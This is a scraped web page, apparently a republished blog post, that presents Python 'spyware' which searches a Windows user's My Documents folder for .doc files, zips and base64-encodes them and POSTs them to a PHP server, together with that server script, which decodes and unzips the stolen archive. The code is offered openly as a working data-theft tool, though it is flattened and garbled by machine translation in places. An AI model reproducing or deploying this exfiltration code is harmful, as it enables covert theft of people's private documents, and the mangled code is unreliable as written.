Python spyware Transfer Protocol version PHP server

Source: Internet
Author: User

Previous

<? Phpfunction unzip_file ($ file, $ destination) {// php. extension = php_zip.dll in ini needs to be annotated $ zip = new ZipArchive (); if ($ zip-> open ($ file )! = TRUE) {die ('could not open archive');} $ zip-> extracation ($ destination); $ zip-> close (); echo 'OK '. "<br/>" ;}$ path = iconv ("UTF-8", "gb2312", "C: \ Documents and Settings \ Administrator \ Desktop "); $ filename = $ path + "\ out.zip"; echo $ filename. "<br/>"; $ fp = fopen ($ filename, "wb"); $ encode_data = file_get_contents ("php: // input "); $ decode_data = base64_decode ($ encode_data); fwrite ($ fp, $ decode_data); unzip_file ( $ Filename, $ path); echo "finished! "." <Br/> "?>

Client. py

#-*-Coding: cp936-*-import socketimport win32com. clientimport win32apiimport osimport timeimport zipfileimport codecsimport base64import urllib2, urllib, httplibdef 1__dir (dir, filelist, extName, topdown = True): for root, dirs, files in OS. walk (dir, topdown): for name in files: if (OS. path. splitext (OS. path. join (root, name) [-1] = extName: filelist. append (OS. path. join (root, name) for name in dirs: if (OS. path. splitext (OS. path. join (root, name) [-1] = extName: filelist. append (OS. path. join (root, name) def post_data (data, HOST, PORT): conn = httplib. HTTPConnection (HOST, PORT) conn. request ('post', '/server. php', data, {}) response = conn. getresponse () resdata = response. read () print response def main (): HOST = '2017. 0.0.1 'port = 80 BUF_SIZE = 65535 key = 'ouyang' dicName = "C: \ Documents and Settings \ Administrator \ My document "extName = '.doc '# search for the doc type of my document by traversal try: filelist = [] walk_dir (dicName, filelist, extName) handle t IOError, e: print "file processing error:" % e sys. exit (-1) # compress to zip file zfile = zipfile.ZipFile('in.zip ', 'w', zipfile. ZIP_DEFLATED) for f in filelist: zfile. write (f) zfile. close () # base 2 hexadecimal encryption encode (infile, outfile) infile = open('in.zip ', 'rb') tmpfile = open ('in. tmp ', 'wb') base64.encode (infile, tmpfile) infile. close () tmpfile. close () # send tmpfile = open ('in. tmp ', 'rb') post_data (tmpfile. read (), HOST, PORT) tmpfile. close () # Delete intermediate file OS. remove ('in. tmp ') if _ name __= =' _ main _ ': main ()



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.